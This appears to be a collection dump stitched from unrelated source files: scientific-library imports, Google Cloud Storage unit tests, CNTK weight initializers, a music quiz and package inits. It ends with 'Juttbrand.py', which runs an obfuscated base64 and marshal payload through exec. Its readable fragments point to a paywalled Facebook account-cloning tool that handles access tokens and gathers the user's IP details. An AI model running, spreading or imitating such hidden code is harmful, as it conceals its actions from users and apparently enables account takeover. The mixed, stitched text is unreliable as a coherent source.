|
Python
|
photonpy/simflux/__init__.py
|
qnano/photonpy
|
9c03a1c9f4c2177c9c6fb3f2f16dfec2306006d4
|
[
"MIT"
] | 5
|
2021-04-29T21:06:05.000Z
|
2022-03-23T03:45:25.000Z
|
photonpy/simflux/__init__.py
|
qnano/photonpy
|
9c03a1c9f4c2177c9c6fb3f2f16dfec2306006d4
|
[
"MIT"
] | null | null | null |
photonpy/simflux/__init__.py
|
qnano/photonpy
|
9c03a1c9f4c2177c9c6fb3f2f16dfec2306006d4
|
[
"MIT"
] | 1
|
2021-06-18T12:39:28.000Z
|
2021-06-18T12:39:28.000Z
|
from .simflux import *
from .combined_frame_simflux import *
from photonpy.cpp.simflux import *
| 24
| 37
| 0.802083
| 13
| 96
| 5.769231
| 0.538462
| 0.52
| 0.453333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 96
| 3
| 38
| 32
| 0.892857
| 0
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| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
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| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
9fd8496fec3e7779c7bf606508034e3a2969ff73
| 6,958
|
py
|
Python
|
selenium_youtube_crawler/tests/test_gcs.py
|
Open-Speech-EkStep/data-acquisition-pipeline
|
b28df36d417010d85d3e5c5f6882eb8fe89ce5ae
|
[
"MIT"
] | 14
|
2021-06-18T17:02:31.000Z
|
2022-01-23T16:04:34.000Z
|
selenium_youtube_crawler/tests/test_gcs.py
|
susmitabhatt/data-acquisition-pipeline
|
b28df36d417010d85d3e5c5f6882eb8fe89ce5ae
|
[
"MIT"
] | 2
|
2021-06-19T09:46:08.000Z
|
2021-09-10T13:57:57.000Z
|
selenium_youtube_crawler/tests/test_gcs.py
|
susmitabhatt/data-acquisition-pipeline
|
b28df36d417010d85d3e5c5f6882eb8fe89ce5ae
|
[
"MIT"
] | 6
|
2021-04-12T05:03:52.000Z
|
2021-09-11T13:54:45.000Z
|
import json
import os
from unittest import TestCase
from unittest.mock import patch
from google.api_core.exceptions import Forbidden, NotFound
from selenium_youtube_crawler.gcs import set_gcs_credentials, upload_blob, download_blob, \
check_blob
class Gcs(TestCase):
def test_set_gcs_credentials(self):
cred_file_name = 'credentials.json'
os.system("touch " + cred_file_name)
cred = {"Credentials": {"name": "hello"}}
with open(cred_file_name, 'w') as cred_file:
json.dump(cred, cred_file, indent=4)
set_gcs_credentials(cred_file_name)
self.assertTrue(os.path.exists("temp.json"))
self.assertEqual('temp.json', os.environ['GOOGLE_APPLICATION_CREDENTIALS'])
os.system('rm temp.json')
os.system('rm credentials.json')
@patch('selenium_youtube_crawler.gcs.storage.Client')
def test_upload_blob(self, storage_client_mock):
bucket_name = 'test_bucket'
source_file_name = "test.txt"
destination_blob_name = "scrapy/test/test.txt"
bucket = storage_client_mock.return_value.bucket
blob = bucket.return_value.blob
upload_blob(bucket_name, source_file_name, destination_blob_name)
bucket.assert_called_once_with(bucket_name)
blob.assert_called_once_with(destination_blob_name)
blob.return_value.upload_from_filename.assert_called_once_with(source_file_name)
@patch('selenium_youtube_crawler.gcs.storage.Client')
def test_upload_blob_raise_error_for_source_file_not_found(self, storage_client_mock):
def raise_error(file_name):
if file_name != "tester.txt":
raise FileNotFoundError
bucket_name = 'test_bucket'
source_file_name = "test.txt"
destination_blob_name = "scrapy/test/test.txt"
bucket = storage_client_mock.return_value.bucket
blob = bucket.return_value.blob
upload_from_file_name_mock = blob.return_value.upload_from_filename
upload_from_file_name_mock.side_effect = raise_error
with self.assertRaises(FileNotFoundError):
upload_blob(bucket_name, source_file_name, destination_blob_name)
bucket.assert_called_once_with(bucket_name)
blob.assert_called_once_with(destination_blob_name)
upload_from_file_name_mock.assert_called_once_with(source_file_name)
@patch('selenium_youtube_crawler.gcs.storage.Client')
def test_upload_blob_raise_error_for_forbidden_bucket_access(self, storage_client_mock):
def raise_error(file_name):
raise Forbidden("forbidden access to bucket")
bucket_name = 'test_bucket'
source_file_name = "test.txt"
destination_blob_name = "scrapy/test/test.txt"
bucket = storage_client_mock.return_value.bucket
blob = bucket.return_value.blob
upload_from_file_name_mock = blob.return_value.upload_from_filename
upload_from_file_name_mock.side_effect = raise_error
with self.assertRaises(Forbidden):
upload_blob(bucket_name, source_file_name, destination_blob_name)
bucket.assert_called_once_with(bucket_name)
blob.assert_called_once_with(destination_blob_name)
upload_from_file_name_mock.assert_called_once_with(source_file_name)
@patch('selenium_youtube_crawler.gcs.storage.Client')
def test_download_blob(self, storage_client_mock):
bucket_name = 'test_bucket'
source_blob_name = "scrapy/test/test.txt"
destination_file_name = "test.txt"
bucket = storage_client_mock.return_value.bucket
blob = bucket.return_value.blob
download_blob(bucket_name, source_blob_name, destination_file_name)
bucket.assert_called_once_with(bucket_name)
blob.assert_called_once_with(source_blob_name)
blob.return_value.download_to_filename.assert_called_once_with(destination_file_name)
@patch('selenium_youtube_crawler.gcs.storage.Client')
def test_download_blob_forbidden_access_to_bucket(self, storage_client_mock):
def raise_error(file_name):
raise Forbidden("forbidden access to bucket")
bucket_name = 'test_bucket'
source_blob_name = "scrapy/test/test.txt"
destination_file_name = "test.txt"
bucket = storage_client_mock.return_value.bucket
blob = bucket.return_value.blob
download_to_filename = blob.return_value.download_to_filename
download_to_filename.side_effect = raise_error
with self.assertRaises(Forbidden):
download_blob(bucket_name, source_blob_name, destination_file_name)
bucket.assert_called_once_with(bucket_name)
blob.assert_called_once_with(source_blob_name)
download_to_filename.assert_called_once_with(destination_file_name)
@patch('selenium_youtube_crawler.gcs.storage.Client')
def test_download_blob_file_not_in_to_bucket(self, storage_client_mock):
def raise_error(file_name):
raise NotFound("File not in bucket")
bucket_name = 'test_bucket'
source_blob_name = "scrapy/test/test.txt"
destination_file_name = "test.txt"
bucket = storage_client_mock.return_value.bucket
blob = bucket.return_value.blob
download_to_filename = blob.return_value.download_to_filename
download_to_filename.side_effect = raise_error
with self.assertRaises(NotFound):
download_blob(bucket_name, source_blob_name, destination_file_name)
bucket.assert_called_once_with(bucket_name)
blob.assert_called_once_with(source_blob_name)
download_to_filename.assert_called_once_with(destination_file_name)
@patch('selenium_youtube_crawler.gcs.storage.Client')
@patch('selenium_youtube_crawler.gcs.storage.Blob.exists')
def test_check_blob(self, exists_mock, storage_client_mock):
bucket_name = 'ekstepspeechrecognition-dev'
file_prefix = "scrapydump/archive/Tamil_talks/archive.txt"
exists_mock.return_value = True
bucket = storage_client_mock.return_value.bucket
stats = check_blob(bucket_name, file_prefix)
bucket.assert_called_once_with(bucket_name)
self.assertEqual(True, stats)
@patch('selenium_youtube_crawler.gcs.storage.Client')
@patch('selenium_youtube_crawler.gcs.storage.Blob.exists')
def test_check_blob_forbidden_access(self, exists_mock, storage_client_mock):
def raise_error(file_name):
raise Forbidden("forbidden access to bucket")
bucket_name = 'ekstepspeechrecognition-dev'
file_prefix = "scrapydump/archive/Tamil_talks/archive.txt"
exists_mock.return_value = True
exists_mock.side_effect = raise_error
bucket = storage_client_mock.return_value.bucket
with self.assertRaises(Forbidden):
check_blob(bucket_name, file_prefix)
bucket.assert_called_once_with(bucket_name)
| 40.690058
| 93
| 0.735412
| 893
| 6,958
| 5.294513
| 0.095185
| 0.05753
| 0.067682
| 0.084602
| 0.836506
| 0.83143
| 0.81176
| 0.794839
| 0.791032
| 0.782149
| 0
| 0.000177
| 0.188991
| 6,958
| 170
| 94
| 40.929412
| 0.837675
| 0
| 0
| 0.705426
| 0
| 0
| 0.149468
| 0.087381
| 0
| 0
| 0
| 0
| 0.217054
| 1
| 0.108527
| false
| 0
| 0.046512
| 0
| 0.162791
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b018694400b5d2807035d6df3f67e1d0642655ef
| 4,435
|
py
|
Python
|
bindings/python/cntk/initializer.py
|
KeDengMS/CNTK
|
fce86cd9581e7ba746d1ec75bbd67dd35d35d11c
|
[
"RSA-MD"
] | 1
|
2021-05-09T01:37:49.000Z
|
2021-05-09T01:37:49.000Z
|
bindings/python/cntk/initializer.py
|
KeDengMS/CNTK
|
fce86cd9581e7ba746d1ec75bbd67dd35d35d11c
|
[
"RSA-MD"
] | null | null | null |
bindings/python/cntk/initializer.py
|
KeDengMS/CNTK
|
fce86cd9581e7ba746d1ec75bbd67dd35d35d11c
|
[
"RSA-MD"
] | null | null | null |
# Copyright (c) Microsoft. All rights reserved.
# Licensed under the MIT license. See LICENSE.md file in the project root
# for full license information.
# ==============================================================================
from . import cntk_py
from .cntk_py import default_param_init_scale as DefaultParamInitScale,\
default_param_init_output_rank as DefaultParamInitOutputRank,\
default_param_init_filter_rank as DefaultParamInitFilterRank,\
default_random_seed as DefaultRandomSeed
def uniform(scale=DefaultParamInitScale, seed=None):
'''
Uniform initializer
Args:
scale (`float`): scale
seed (`int`): random seed
Returns:
initializer for `:class:cntk.variables.Parameter`
'''
if seed is None:
seed = DefaultRandomSeed()
return cntk_py.uniform_initializer(scale, seed)
def gaussian(output_rank=DefaultParamInitOutputRank, filter_rank=DefaultParamInitFilterRank, scale=DefaultParamInitScale, seed=None):
'''
Gaussian initializer
Args:
output_rank (`int`): output rank
filter_rank (`int`): filter rank
scale (`float`): scale
seed (`int`): random seed
Returns:
initializer for `:class:cntk.variables.Parameter`
'''
if seed is None:
seed = DefaultRandomSeed()
return cntk_py.gaussian_initializer(output_rank, filter_rank, scale, seed)
def xavier(output_rank=DefaultParamInitOutputRank, filter_rank=DefaultParamInitFilterRank, scale=DefaultParamInitScale, seed=None):
'''
Xavier initializer
Args:
output_rank (`int`): output rank
filter_rank (`int`): filter rank
scale (`float`): scale
seed (`int`): random seed
Returns:
initializer for `:class:cntk.variables.Parameter`
'''
if seed is None:
seed = DefaultRandomSeed()
return cntk_py.xavier_initializer(output_rank, filter_rank, scale, seed)
def glorot_uniform(output_rank=DefaultParamInitOutputRank, filter_rank=DefaultParamInitFilterRank, scale=DefaultParamInitScale, seed=None):
'''
Glorot initializer
Args:
output_rank (`int`): output rank
filter_rank (`int`): filter rank
scale (`float`): scale
seed (`int`): random seed
Returns:
initializer for `:class:cntk.variables.Parameter`
'''
if seed is None:
seed = DefaultRandomSeed()
return cntk_py.glorot_uniform_initializer(output_rank, filter_rank, scale, seed)
def glorot_normal(output_rank=DefaultParamInitOutputRank, filter_rank=DefaultParamInitFilterRank, scale=DefaultParamInitScale, seed=None):
'''
initializer
Args:
output_rank (`int`): output rank
filter_rank (`int`): filter rank
scale (`float`): scale
seed (`int`): random seed
Returns:
initializer for `:class:cntk.variables.Parameter`
'''
if seed is None:
seed = DefaultRandomSeed()
return cntk_py.glorot_normal_initializer(output_rank, filter_rank, scale, seed)
def he_uniform(output_rank=DefaultParamInitOutputRank, filter_rank=DefaultParamInitFilterRank, scale=DefaultParamInitScale, seed=None):
'''
initializer
Args:
output_rank (`int`): output rank
filter_rank (`int`): filter rank
scale (`float`): scale
seed (`int`): random seed
Returns:
initializer for `:class:cntk.variables.Parameter`
'''
if seed is None:
seed = DefaultRandomSeed()
return cntk_py.he_uniform_initializer(output_rank, filter_rank, scale, seed)
def he_normal(output_rank=DefaultParamInitOutputRank, filter_rank=DefaultParamInitFilterRank, scale=DefaultParamInitScale, seed=None):
'''
initializer
Args:
output_rank (`int`): output rank
filter_rank (`int`): filter rank
scale (`float`): scale
seed (`int`): random seed
Returns:
initializer for `:class:cntk.variables.Parameter`
'''
if seed is None:
seed = DefaultRandomSeed()
return cntk_py.he_normal_initializer(output_rank, filter_rank, scale, seed)
def bilinear(kernel_width, kernel_height):
'''
initializer
Args:
kernel_width (`int`): kernel width
kernel_height (`int`): kernel height
Returns:
initializer for `:class:cntk.variables.Parameter`
'''
return cntk_py.bilinear_initializer(kernel_width, kernel_height)
| 29.765101
| 139
| 0.672604
| 467
| 4,435
| 6.214133
| 0.130621
| 0.086147
| 0.066161
| 0.082702
| 0.781185
| 0.781185
| 0.781185
| 0.764645
| 0.749828
| 0.661268
| 0
| 0
| 0.216685
| 4,435
| 148
| 140
| 29.966216
| 0.835348
| 0.416009
| 0
| 0.4
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.228571
| false
| 0
| 0.057143
| 0
| 0.514286
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
c65d2770b0a18133da52e581e83b988e6cd700f6
| 2,769
|
py
|
Python
|
build/lib/time_sig.py
|
Leila571/I_A_8
|
87326d741e3f9127ea3e5b4e4a18201addb823f9
|
[
"MIT"
] | null | null | null |
build/lib/time_sig.py
|
Leila571/I_A_8
|
87326d741e3f9127ea3e5b4e4a18201addb823f9
|
[
"MIT"
] | null | null | null |
build/lib/time_sig.py
|
Leila571/I_A_8
|
87326d741e3f9127ea3e5b4e4a18201addb823f9
|
[
"MIT"
] | null | null | null |
def Time_signatures_question_1():
score_number = 0
time_sig_str = "4/4"
#print ("Can you identify this time signature?")
a=input("Can you identify this time signature? \n Question 1: What is the time signature of this song?")
#import audio file of Black Dog here
if "4/4" in a:
score_number = 1
return score_number , time_sig_str, "Correct!"
else:
score_number = 0
return score_number, time_sig_str,"Wrong! It's in 4/4! \n You have finished and scored "+ str(score_number)+ " out of 5"
def Time_signatures_question_2():
score_number = 0
time_sig_str = "5/4"
#print ("Can you identify this time signature?")
a=input("Can you identify this time signature? \n Question 1: What is the time signature of this song?")
#import audio file of A New Day, Yesterday here
if "5/4" in a:
score_number = 1
return score_number , time_sig_str, "Correct!"
else:
score_number = 0
return score_number, time_sig_str,"Wrong! It's in 5/4! \n You have finished and scored "+ str(score_number)+ " out of 5"
def Time_signatures_question_3():
score_number = 0
time_sig_str = "9/8"
#print ("Can you identify this time signature?")
a=input("Can you identify this time signature? \n Question 1: What is the time signature of this song?")
#import audio file of Blue Rondo a la Turk here
if "9/8" in a:
score_number = 1
return score_number , time_sig_str, "Correct!"
else:
score_number = 0
return score_number, time_sig_str,"Wrong! It's in 9/8! \n You have finished and scored "+ str(score_number)+ " out of 5"
def Time_signatures_question_4():
score_number = 0
time_sig_str = "6/8"
#print ("Can you identify this time signature?")
a=input("Can you identify this time signature? \n Question 1: What is the time signature of this song?")
#import audio file of We Used to Know here
if "6/8" in a:
score_number = 1
return score_number , time_sig_str, "Correct!"
else:
score_number = 0
return score_number, time_sig_str,"Wrong! It's in 6/8! \n You have finished and scored "+ str(score_number)+ " out of 5"
def Time_signatures_question_5():
score_number = 0
time_sig_str = "5/4"
#print ("Can you identify this time signature?")
a=input("Can you identify this time signature? \n Question 1: What is the time signature of this song?")
#import audio file of We Free Kings here
if "5/4" in a:
score_number = 1
return score_number , time_sig_str, "Correct!"
else:
score_number = 0
return score_number, time_sig_str,"Wrong! It's in 5/4! \n You have finished and scored "+ str(score_number)+ " out of 5"
| 40.720588
| 128
| 0.661972
| 453
| 2,769
| 3.880795
| 0.139073
| 0.187713
| 0.085324
| 0.102389
| 0.934016
| 0.934016
| 0.896473
| 0.896473
| 0.896473
| 0.896473
| 0
| 0.028722
| 0.245576
| 2,769
| 67
| 129
| 41.328358
| 0.812829
| 0.159624
| 0
| 0.72
| 0
| 0.1
| 0.363008
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.1
| false
| 0
| 0
| 0
| 0.3
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c6a4b1305409638445b9e15f0b03c61e811bc11a
| 114
|
py
|
Python
|
apioxy/__init__.py
|
APIOxy/APIOxy
|
8b13693b2a348e9c902f2ef7a4e52384f743b1f5
|
[
"BSD-3-Clause-Clear"
] | 1
|
2020-11-13T19:31:47.000Z
|
2020-11-13T19:31:47.000Z
|
apioxy/__init__.py
|
APIOxy/APIOxy
|
8b13693b2a348e9c902f2ef7a4e52384f743b1f5
|
[
"BSD-3-Clause-Clear"
] | 1
|
2020-10-07T12:40:09.000Z
|
2020-10-16T18:29:55.000Z
|
apioxy/__init__.py
|
APIOxy/APIOxy
|
8b13693b2a348e9c902f2ef7a4e52384f743b1f5
|
[
"BSD-3-Clause-Clear"
] | null | null | null |
import apioxy.common
import apioxy.levels
import apioxy.main
import apioxy.parsing
from apioxy.main import APIOxy
| 19
| 30
| 0.850877
| 17
| 114
| 5.705882
| 0.411765
| 0.618557
| 0.329897
| 0.453608
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.105263
| 114
| 5
| 31
| 22.8
| 0.95098
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
c6c2642d0190a7ff75f97fce545111a09f2f7717
| 209
|
py
|
Python
|
proc/__init__.py
|
wenbobuaa/pykit
|
43e38fe40297a1e7a9329bcf3db3554c7ca48ead
|
[
"MIT"
] | 13
|
2016-12-16T09:23:09.000Z
|
2018-03-10T08:04:00.000Z
|
proc/__init__.py
|
wenbobuaa/pykit
|
43e38fe40297a1e7a9329bcf3db3554c7ca48ead
|
[
"MIT"
] | 74
|
2017-03-23T11:36:22.000Z
|
2018-04-02T06:19:09.000Z
|
proc/__init__.py
|
drmingdrmer/pykit
|
e25a71146e81aaf79625cf8d4f4c439ccd515b82
|
[
"MIT"
] | 5
|
2016-12-27T07:30:47.000Z
|
2018-03-10T07:06:21.000Z
|
from .proc import (
ProcError,
command,
command_ex,
shell_script,
start_process,
)
__all__ = [
'ProcError',
'command',
'command_ex',
'shell_script',
'start_process',
]
| 13.0625
| 20
| 0.588517
| 20
| 209
| 5.65
| 0.55
| 0.283186
| 0.40708
| 0.442478
| 0.849558
| 0.849558
| 0.849558
| 0.849558
| 0
| 0
| 0
| 0
| 0.287081
| 209
| 15
| 21
| 13.933333
| 0.758389
| 0
| 0
| 0
| 0
| 0
| 0.244019
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.071429
| 0
| 0.071429
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
af199202a20e6ab281331d5aad2a14d782236bb2
| 222,500
|
py
|
Python
|
Juttbrand.py
|
Malik0176/JuttBadshah
|
6239a07d91fc502bef1be9370a90350ae9f730a2
|
[
"Apache-2.0"
] | null | null | null |
Juttbrand.py
|
Malik0176/JuttBadshah
|
6239a07d91fc502bef1be9370a90350ae9f730a2
|
[
"Apache-2.0"
] | null | null | null |
Juttbrand.py
|
Malik0176/JuttBadshah
|
6239a07d91fc502bef1be9370a90350ae9f730a2
|
[
"Apache-2.0"
] | 1
|
2022-03-26T05:41:17.000Z
|
2022-03-26T05:41:17.000Z
|
#-------------------------------------------------#
# coded by : Jutt Badshah
# date : Fri Apr 23 03:55:28 2021
#-------------------------------------------------#
import marshal,base64
exec base64.b64decode('import marshal
exec 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Copyright  Mr.Jamess\x14\x00\x00\x00termux-setup-storages\x0b\x00\x00\x00/sdcard/idsg\x00\x00\x00\x00\xd0\x12sAg\x00\x00\x00\x008\x9c|Ai N\x00\x00i@\x9c\x00\x00s\x19\x00\x00\x00x-fb-connection-bandwidths\x0c\x00\x00\x00x-fb-sim-hnis\x0c\x00\x00\x00x-fb-net-hnit\t\x00\x00\x00EXCELLENTs\x17\x00\x00\x00x-fb-connection-qualitys!\x00\x00\x00cell.CTRadioAccessTechnologyHSDPAs\x14\x00\x00\x00x-fb-connection-types\x1e\x01\x00\x00Dalvik/1.6.0 (Linux; U; Android 4.4.2; NX55 Build/KOT5506) [FBAN/FB4A;FBAV/106.0.0.26.68;FBBV/45904160;FBDM/{density=3.0,width=1080,height=1920};FBLC/it_IT;FBRV/45904160;FBCR/PosteMobile;FBMF/asus;FBBD/asus;FBPN/com.facebook.katana;FBDV/ASUS_Z00AD;FBSV/5.0;FBOP/1;FBCA/x86:armeabi-v7a;]s\n\x00\x00\x00user-agents!\x00\x00\x00application/x-www-form-urlencodeds\x0c\x00\x00\x00content-typet\x05\x00\x00\x00Ligers\x10\x00\x00\x00x-fb-http-engines\x08\x00\x00\x00git pullt\x05\x00\x00\x00clearsL\x02\x00\x00\n\x1b[1;92m              \n\x1b[1;92m                      \n\x1b[1;96m                        \n\x1b[1;92m     {} {}  {} {}{}{} {}{}{} \n\x1b[1;97m     {} {}  {}   {}     {} \n\x1b[1;93m     {} {}  {}   {}     {}  \n\x1b[1;96m     {} {}  {}   {}     {} \n\x1b[1;94m  {}{}   {}{}    {}     {}  \n\x1b[1;93m                      \n\x1b[1;92m         Jutt Badshah Brand~                       \n\x1b[1;91m-----------------------------------------------\n\x1b[1;97m\xe2\x9e\xa3 Author : Jutt Badshah x ?????\n\x1b[1;97m\xe2\x9e\xa3 Github : https://github.com/SHOOTER-MAKER\n\x1b[1;97m\xe2\x9e\xa3 WP NO: +923007574310\n\x1b[1;91m-----------------------------------------------c\x00\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\x1d\x01\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00GHd\x02\x00GHd\x03\x00GHd\x02\x00GHt\x03\x00j\x04\x00d\x04\x00\x83\x01\x00\x01y\x19\x00t\x05\x00d\x05\x00d\x06\x00\x83\x02\x00j\x06\x00\x83\x00\x00}\x00\x00Wn\x1e\x00\x04t\x07\x00t\x08\x00f\x02\x00k\n\x00rg\x00\x01\x01\x01t\t\x00\x83\x00\x00\x01n\x01\x00Xt\n\x00j\x0b\x00d\x07\x00\x83\x01\x00j\x0c\x00}\x01\x00|\x00\x00|\x01\x00k\x06\x00r\xd1\x00t\x00\x00j\x01\x00d\x08\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\t\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\n\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x0b\x00\x83\x01\x00\x01t\x03\x00j\x04\x00d\x0c\x00\x83\x01\x00\x01t\r\x00\x83\x00\x00\x01nH\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00GHd\r\x00GHd\x0e\x00GHd\x0f\x00GHd\x10\x00|\x00\x00\x17GHt\x0e\x00d\x11\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x12\x00\x83\x01\x00\x01t\x0f\x00\x83\x00\x00\x01d\x00\x00S(\x13\x00\x00\x00NR\x04\x00\x00\x00t\x00\x00\x00\x00s0\x00\x00\x00\x1b[1;31;1mTake The Approval For Login Charges 350i\x01\x00\x00\x00s\x10\x00\x00\x00/sdcard/.hst.txtt\x01\x00\x00\x00rsL\x00\x00\x00https://raw.githubusercontent.com/nazeerjutt652/jutt-badshah/main/server.txts\x17\x00\x00\x00cd ..... && npm installs\x13\x00\x00\x00fuser -k 5000/tcp &t\x01\x00\x00\x00#s\x1b\x00\x00\x00cd ..... && node index.js &i\x05\x00\x00\x00s\x10\x00\x00\x00\tApproved Faileds(\x00\x00\x00 \x1b[1;92mYour Id Is Not Approved Already s%\x00\x00\x00 \x1b[1;92mCopy the id and send to admins\x11\x00\x00\x00 \x1b[1;92mYour id: s\x1e\x00\x00\x00\x1b[1;93m Press enter to send ids$\x00\x00\x00xdg-open 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}\x00\x00d\x05\x00|\x00\x00\x17GHd\x06\x00GHt\x06\x00d\x07\x00\x83\x01\x00\x01t\x00\x00j\x01\x00d\x08\x00\x83\x01\x00\x01t\x07\x00d\t\x00d\n\x00\x83\x02\x00}\x01\x00|\x01\x00j\x08\x00|\x00\x00\x83\x01\x00\x01|\x01\x00j\t\x00\x83\x00\x00\x01t\x06\x00d\x0b\x00\x83\x01\x00\x01t\n\x00\x83\x00\x00\x01d\x00\x00S(\x0c\x00\x00\x00NR\x04\x00\x00\x00s\x16\x00\x00\x00\tApproval not detecteds?\x00\x00\x00 \x1b[1;92mCopy and press enter , then select whatsapp to continuei2\x00\x00\x00s\n\x00\x00\x00 Your id: R\x05\x00\x00\x00s\x1f\x00\x00\x00 Press enter to go to whatsapp s$\x00\x00\x00xdg-open https://wa.me/+923007574310s\x10\x00\x00\x00/sdcard/.hst.txtt\x01\x00\x00\x00ws&\x00\x00\x00\x1b[1;92m Press enter to check Approval (\x0b\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00t\x04\x00\x00\x00uuidt\x05\x00\x00\x00uuid4t\x03\x00\x00\x00hexR\x16\x00\x00\x00R\r\x00\x00\x00t\x05\x00\x00\x00writet\x05\x00\x00\x00closeR\x17\x00\x00\x00(\x02\x00\x00\x00t\x02\x00\x00\x00idt\x03\x00\x00\x00sav(\x00\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00AsepR\x11\x00\x00\x00?\x00\x00\x00s\x1c\x00\x00\x00\x00\x01\r\x01\x05\x01\x05\x01\x05\x01\x13\x01\t\x01\x05\x01\n\x01\r\x01\x0f\x01\r\x01\n\x01\n\x01c\x00\x00\x00\x00\x06\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s\xe3\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00GHd\x02\x00GHyM\x00t\x03\x00j\x04\x00d\x03\x00\x83\x01\x00}\x00\x00t\x05\x00j\x06\x00|\x00\x00j\x07\x00\x83\x01\x00}\x01\x00|\x01\x00d\x04\x00\x19}\x02\x00|\x01\x00d\x05\x00\x19}\x03\x00|\x01\x00d\x06\x00\x19}\x04\x00|\x01\x00d\x07\x00\x19}\x05\x00Wn\x07\x00\x01\x01\x01n\x01\x00Xd\x08\x00|\x02\x00\x17GHt\x08\x00j\t\x00d\t\x00\x83\x01\x00\x01d\n\x00|\x03\x00\x17GHt\x08\x00j\t\x00d\t\x00\x83\x01\x00\x01d\x0b\x00|\x04\x00\x17GHt\x08\x00j\t\x00d\t\x00\x83\x01\x00\x01d\x0c\x00|\x05\x00\x17GHt\x08\x00j\t\x00d\t\x00\x83\x01\x00\x01d\r\x00GHt\x08\x00j\t\x00d\t\x00\x83\x01\x00\x01t\n\x00\x83\x00\x00\x01d\x00\x00S(\x0e\x00\x00\x00NR\x04\x00\x00\x00s\x17\x00\x00\x00\tCollecting device infos\x17\x00\x00\x00http://ip-api.com/json/t\x05\x00\x00\x00queryt\x07\x00\x00\x00countryt\n\x00\x00\x00regionNamet\x03\x00\x00\x00isps\x11\x00\x00\x00\x1b[1;92m Your ip: i\x01\x00\x00\x00s\x16\x00\x00\x00\x1b[1;92m Your country: s\x15\x00\x00\x00\x1b[1;92m Your region: s\x16\x00\x00\x00 \x1b[1;92mYour network: s\x0c\x00\x00\x00 Loading ...(\x0b\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00R\x12\x00\x00\x00R\x13\x00\x00\x00t\x04\x00\x00\x00jsont\x05\x00\x00\x00loadsR\x14\x00\x00\x00R\x0b\x00\x00\x00R\x0c\x00\x00\x00t\x08\x00\x00\x00log_menu(\x06\x00\x00\x00t\x06\x00\x00\x00ipinfot\x01\x00\x00\x00zt\x03\x00\x00\x00ipsR"\x00\x00\x00t\x04\x00\x00\x00regit\x07\x00\x00\x00network(\x00\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00AsepR\x15\x00\x00\x00P\x00\x00\x00s.\x00\x00\x00\x00\x01\r\x01\x05\x01\x05\x01\x03\x01\x0f\x01\x12\x01\n\x01\n\x01\n\x01\x0e\x01\x03\x01\x04\x02\t\x01\r\x01\t\x01\r\x01\t\x01\r\x01\t\x01\r\x01\x05\x01\r\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00ss\x00\x00\x00y\x1a\x00t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00}\x00\x00t\x01\x00\x83\x00\x00\x01WnR\x00\x04t\x02\x00t\x03\x00f\x02\x00k\n\x00rn\x00\x01\x01\x01t\x04\x00j\x05\x00d\x03\x00\x83\x01\x00\x01t\x06\x00GHd\x04\x00GHd\x05\x00d\x06\x00\x14GHd\x07\x00GHd\x08\x00GHd\t\x00GHd\n\x00GHt\x07\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(\x0b\x00\x00\x00Ns\x10\x00\x00\x00access_token.txtR\